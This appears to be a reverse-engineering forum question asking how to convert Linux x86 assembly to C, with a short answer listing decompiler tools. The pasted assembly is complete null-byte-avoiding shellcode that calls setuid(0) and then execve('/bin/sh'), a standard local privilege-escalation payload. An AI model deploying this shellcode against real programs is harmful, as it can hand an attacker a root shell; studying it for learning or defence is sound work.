I have the following assembly code over Linux distro:# using the .data section for write permission# instead of .text section.section .data.globl _start_start:     # displaying some characters for watermarking :-)     xor %eax,%eax      # clear eax by setting eax to 0     xor %ebx,%ebx      # clear ebx by setting ebx to 0     xor %edx,%edx      # clear edx by setting edx to 0     push %ebx          # push ebx into the stack, base pointer                        # for the stack frame     push $0xa696e55    # push U-n-i characters     push $0x4d555544   # push M-U-U-D characters     push $0x414d4841   # push A-M-H-A characters     movl  %esp,%ecx    # move the sp to ecx     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,                        # notice the use of movb - move byte, this is to avoid null     movb  $0x4,%al     # move 4 to al (low l),                        # 4 is system call number for                        # write(int fd, char *str, int len)     int  $0x80         # call kernel/syscall     # setuid(0)     xor %eax,%eax      # clear eax by setting eax to 0     xor %ebx,%ebx      # clear ebx by setting ebx to 0     xor %ecx,%ecx      # clear ecx by setting ecx to 0     movb $0x17,%al     # move 0x17 into al - setuid(0)     int $0x80          # call kernel/syscall     jmp do_call        # jump to get the address with the call trickjmp_back:     pop %ebx           # ebx (base pointer=stack frame pointer) has                         # the address of our string, use it to index     xor %eax,%eax      # clear eax by setting eax to 0     movb %al,7(%ebx)   # put a null at the N or shell[7]     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like                        # /bin/sh\0(*ebx)(*0000)     xor %eax,%eax      # clear eax by setting eax to 0     movb $11,%al       # put 11 which is execve# syscall number into al     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx     int $0x80          # call kernel/syscalldo_call:     call jmp_backshell:     .ascii /bin/shNXXXXYYYYHow is it possible to convert it to C code?
Converting assembly code to c
disassembly;decompilation;linux;c;exploit
Here is the list of few decompilation tools / resources that you may find useful.IDA Pro + Hex-Rays decompilerHopper disassembler (has a decompiler)ODA (Online Disassembler)Retargetable Decompiler